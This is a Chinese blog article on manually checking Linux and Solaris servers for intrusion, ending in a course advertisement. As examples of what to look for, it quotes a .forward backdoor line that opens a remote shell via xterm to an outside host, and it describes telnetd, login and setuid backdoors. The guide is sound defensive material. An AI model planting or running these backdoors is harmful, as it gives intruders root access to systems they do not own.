歡迎光臨
每天分享高質量文章

Linux如何判斷自己的伺服器是否被入侵

如何判斷自己的伺服器是否被入侵了呢?僅僅靠兩隻手是不夠的,但兩隻手也能起到一些作用,我們先來看看UNIX系統上一些入侵檢測方法,以LINUX和solaris為例。

1、檢查系統密碼檔案

首先從明顯的入手,檢視一下passwd檔案,ls –l /etc/passwd檢視檔案修改的日期。

檢查一下passwd檔案中有哪些特權使用者,系統中uid為0的使用者都會被顯示出來。

順便再檢查一下系統裡有沒有空口令帳戶:

2、檢視一下行程,看看有沒有奇怪的行程

重點檢視行程:

ps –aef | grep inetd

inetd是UNIX系統的守護行程,正常的inetd的pid都比較靠前,如果你看到輸出了一個類似inetd –s /tmp/.xxx之類的行程,著重看inetd –s後面的內容。在正常情況下,LINUX系統中的inetd服務後面是沒有-s引數的,當然也沒有用inetd去啟動某個檔案;而solaris系統中也僅僅是inetd –s,同樣沒有用inetd去啟動某個特定的檔案;如果你使用ps命令看到inetd啟動了某個檔案,而你自己又沒有用inetd啟動這個檔案,那就說明已經有人入侵了你的系統,並且以root許可權起了一個簡單的後門。

輸入ps –aef 檢視輸出資訊,尤其註意有沒有以./xxx開頭的行程。一旦發現異樣的行程,經檢查為入侵者留下的後門程式,立即執行kill –9 pid 開殺死該行程,然後再執行ps –aef檢視該行程是否被殺死;一旦此類行程出現殺死以後又重新啟動的現象,則證明系統被人放置了自動啟動程式的指令碼。這個時候要進行仔細查詢:find / -name 程式名 –print,假設系統真的被入侵者放置了後門,根據找到的程式所在的目錄,會找到很多有趣的東東J

UNIX下隱藏行程有的時候透過替換ps檔案來做,檢測這種方法涉及到檢查檔案完整性,稍後我們再討論這種方法。接下來根據找到入侵者在伺服器上的檔案目錄,一步一步進行追蹤。

3、檢查系統守護行程

檢查/etc/inetd.conf檔案,輸入:cat /etc/inetd.conf | grep –v “^#”,輸出的資訊就是你這臺機器所開啟的遠端服務。

一般入侵者可以透過直接替換in.xxx程式來建立一個後門,比如用/bin/sh 替換掉in.telnetd,然後重新啟動inetd服務,那麼telnet到伺服器上的所有使用者將不用輸入使用者名稱和密碼而直接獲得一個rootshell。

4、檢查網路連線和監聽埠

  • 輸入netstat -an,列出本機所有的連線和監聽的埠,檢視有沒有非法連線。

  • 輸入netstat –rn,檢視本機的路由、閘道器設定是否正確。

  • 輸入 ifconfig –a,檢視網絡卡設定。

5、檢查系統日誌

命令last | more檢視在正常情況下登入到本機的所有使用者的歷史記錄。但last命令依賴於syslog行程,這已經成為入侵者攻擊的重要標的。入侵者通常會停止系統的syslog,檢視系統syslog行程的情況,判斷syslog上次啟動的時間是否正常,因為syslog是以root身份執行的,如果發現syslog被非法動過,那說明有重大的入侵事件。

  • 在linux下輸入ls –al /var/log

  • 在solaris下輸入 ls –al /var/adm

檢查wtmp utmp,包括messgae等檔案的完整性和修改時間是否正常,這也是手工擦除入侵痕跡的一種方法。

6、檢查系統中的core檔案

透過傳送畸形請求來攻擊伺服器的某一服務來入侵系統是一種常規的入侵方法,典型的RPC攻擊就是透過這種方式。這種方式有一定的成功率,也就是說它並不能100%保證成功入侵系統,而且通常會在伺服器相應目錄下產生core檔案,全域性查詢系統中的core檔案,輸入find / -name core –exec ls –l {} \; 依據core所在的目錄、查詢core檔案來判斷是否有入侵行為。

7、.rhosts和.forward

這是兩種比較著名的後門檔案,如果想檢查你的系統是否被入侵者安裝了後門,不妨全域性查詢這兩個檔案:

find / -name “.rhosts” –print 

find / -name “.forward” –print 

在某使用者的$HOME下,.rhosts檔案中僅包含兩個+號是非常危險的,如果你的系統上開了513埠(rlogin埠,和telnet作用相同),那麼任意是誰都可以用這個使用者登入到你的系統上而不需要任何驗證。

Unix下在.forward檔案裡放入命令是重新獲得訪問的常用方法在某一 使用者$HOME下的.forward可能設定如下:

\username|”/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh” 

這種方法的變形包括改變系統的mail的別名檔案(通常位於/etc/aliases). 註意這隻是一種簡單的變換. 更為高階的能夠從.forward中執行簡單指令碼實現在標準輸入執行任意命令(小部分預處理後).利用smrsh可以有效的制止這種後門(雖然如果允許可以自執行的elm’s filter或procmail類程式, 很有可能還有問題。在Solaris系統下,如果你執行如下命令:

ln -s /var/mail/luser ~/.forward 

然後設定vacation有效,那麼/var/mail/luser就會被複製到~/.forward,同時會附加”|/usr/bin/vacation me”,舊的symlink被移到~/.forward..BACKUP中。直接刪除掉這兩個檔案也可以。

8、檢查系統檔案完整性

檢查檔案的完整性有多種方法,通常我們透過輸入ls –l 檔案名來查詢和比較檔案,這種方法雖然簡單,但還是有一定的實用性。但是如果ls檔案都已經被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 檔案名` 來查詢,國家查詢的結果是否正常來判斷檔案是否完整。在LINUX下使用rpm來檢查檔案的完整性的方法也很多,這裡不一一贅述,可以man rpm來獲得更多的格式。

UNIX系統中,/bin/login是被入侵者經常替換作為後門的檔案,接下來談一下login後門 :

UNIX裡,Login程式通常用來對telnet來的使用者進行口令驗證。入侵者獲取login的原始碼並修改,使它在比較輸入口令與儲存口令時先檢查後門口令。如果使用者敲入後門口令,它將忽視管理員設定的口令讓你長驅直入:這將允許入侵者進入任何賬號,甚至是root目錄。由於後門口令是在使用者真實登入並被日誌記錄到utmp和wtmP前產生的一個訪問,所以入侵者可以登入獲取shell卻不會暴露該賬號。管理員註意到這種後門後,使用”strings”命令搜尋login程式以尋找文字資訊。許多情況下後門口令會原形畢露。入侵者又會開始加密或者更改隱藏口令,使strings命令失效。所以許多管理員利用MD5校驗和檢測這種後門。UNIX系統中有md5sum命令,輸入md5sum 檔案名檢查該檔案的md5簽名。它的使用格式如下:md5sum –b 使用二進位制方式閱讀檔案;md5sum –c 逆向檢查MD5簽名;md5sum –t 使用文字方式閱讀檔案。

在前面提到過守護行程,對於守護行程配置檔案inetd.conf中沒有被註釋掉的行要進行仔細比較,舉個簡單的例子,如果你開放了telnet服務,守護行程配置檔案中就會有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的檔案是 /usr/sbin/in.telnetd,檢查該檔案的完整性,入侵者往往透過替換守護行程中允許的服務檔案來為自己建立一個後門。

LINUX系統中的/etc/crontab也是經常被入侵者利用的一個檔案,檢查該檔案的完整性,可以直接cat /etc/crontab,仔細閱讀該檔案有沒有被入侵者利用來做其他的事情。

不替換login等檔案而直接使用行程來啟動後門的方法有一個缺陷,即系統一旦重新啟動,這個行程就被殺死了,所以得讓這個後門在系統啟動的時候也啟動起來。通常透過檢查/etc/rc.d下的檔案來檢視系統啟動的時候是不是帶有後門程式;這個方法怎麼有點象查windows下的trojan?

說到這裡,另外提一下,如果在某一目錄下發現有屬性為這樣的檔案:-rwsr-xr-x 1 root root xxx .sh,這個表明任何使用者進來以後執行這個檔案都可以獲得一個rootshell,這就是setuid檔案。執行 find –perm 4000 –print對此類檔案進行全域性查詢,然後刪除這樣的檔案。

9、檢查核心級後門

如果你的系統被人安裝了這種後門,通常都是比較討厭的,我常常就在想,遇到這種情況還是重新安裝系統算了J,言歸正傳,首先,檢查系統載入的模組,在LINUX系統下使用lsmod命令,在solaris系統下使用modinfo命令來檢視。這裡需要說明的是,一般預設安裝的LINUX載入的模組都比較少,通常就是網絡卡的驅動;而solaris下就很多,沒別的辦法,只有一條一條地去分析。對核心進行加固後,應禁止插入或刪除模組,從而保護系統的安全,否則入侵者將有可能再次對系統呼叫進行替換。我們可以透過替換create_module()和delete_module()來達到上述目的。

另外,對這個核心進行加固模組時應儘早進行,以防系統呼叫已經被入侵者替換。如果系統被載入了後門模組,但是在模組串列/proc/module裡又看不到它們,有可能是使用了hack工具來移除載入的模組,大名鼎鼎的knark工具包就有移除載入模組的工具。出現這種情況,需要仔細查詢/proc目錄,根據查詢到的檔案和經驗來判斷被隱藏和偽裝的行程。Knark後門模組就在/proc/knark目錄,當然可能這個目錄是隱藏的。

10、手工入侵檢測的缺陷

上面談了一些手工入侵檢測的方法,但這些方式有一定的缺陷,有的甚至是不可避免的缺陷,這就是為什麼說手工檢測是“體力活”的原因。我們先來看看這些缺陷:

1)手工入侵檢測只能基於主機,也就是說所有的入侵檢測工作只能在作業系統下麵完成,這是它固有的缺陷;基本上所有凌駕於作業系統之外的入侵行為統統無法探測得到。網路級的入侵,交換機、路由器上面的入侵和攻擊行為,作為伺服器的作業系統都無法得知;資訊已經從主機發送出去了,如果在傳送的介質當中被攔截,主機的作業系統是永遠無動於衷的。

2)手工的入侵檢測要求精通作業系統,並且漏洞庫資料的掃清要快;在做一個網管的同時要做一個駭客。可以說經驗的積累永遠跟不上全世界漏洞資料的更新,難保系統不被新的漏洞所侵入。

3)手工入侵檢測只是“就事論事”,根據發生的某一情況判斷入侵事件,再作出相應的對應和防範措施,而無法預先根據入侵者的探測行為作出對攻擊事件的描述,定義事件級別,在不防礙系統正常工作的情況下阻止下一步對系統的入侵行為。

4)可以透過手工入侵檢測發現主機上的某些漏洞,進而作出相應的安全措施。但卻避免不了一種現象:無法避免兩個入侵者利用同一個漏洞攻擊主機,即無法判斷攻擊樣式來切斷入侵行為。

5)綜上所述,手工的入侵檢測行為對於系統安全來說只是治標而不治本,多半還是依靠管理員的技巧和經驗來增強系統的安全性,沒有,也不可能形成真正的安全體系,雖然聊勝於無,可以檢測和追蹤到某些入侵行為,但如果碰上同樣精通系統的入侵者就很難抓住蹤跡了。

11、入侵檢測系統的比較

搭建真正的安全體系需要入侵檢測系統—IDS,一個優秀的入侵檢測系統輔以系統管理員的技巧和經驗可以形成真正的安全體系,有效判斷和切斷入侵行為,真正保護主機、資料。人們有時候會以為ISS的realsecure是優秀的入侵檢測系統,其實不然,realsecure帶有一定的缺陷,不談它對事件的誤報、漏報和錯報,首先它是一個英文的軟體,使用和熟悉起來有一定的難度。而且由於是外國人的軟體,很多hack對realsecure有深入的研究,已經發掘出它的一些漏洞,甚至是固有漏洞,我就曾經測試出有的攻擊手段可以令realsecure癱瘓。

再者,realsecure也是架設在伺服器作業系統之上的,作業系統停止工作,同樣令之停止工作,換句話說,很簡單,攻擊者攻擊的標的往往就是realsecure本身。設想,假設你的系統依賴於入侵檢測系統,而入侵檢測系統被攻擊者搞掉,那你的系統將大門敞開,任由出入,後果不堪設想。

作者:艾森豪威邇

來源:https://www.cnblogs.com/xiaoit/p/4066373.html



————近期開班————

《馬哥Linux雲端計算及架構師》課程,由知名Linux佈道師馬哥創立,經歷了8年的發展,聯合阿裡巴巴、唯品會、大眾點評、騰訊、陸金所等大型網際網路一線公司的馬哥課程團隊的工程師進行深度定製開發,課程採用 Centos7.2系統教學,加入了大量實戰案例,授課案例均來自於一線的技術案例,自動化運維、Devops、雲服務、python等技能一站式搞定,掌握2018年linux雲端計算高薪未來。

29期網路班:2018年02月10日(網路)

30期面授班:2018年03月26日(北京)

掃描二維碼領取學習資料

更多Linux好文請點選【閱讀原文】哦

↓↓↓

贊(0)

分享創造快樂

© 2024 知識星球   網站地圖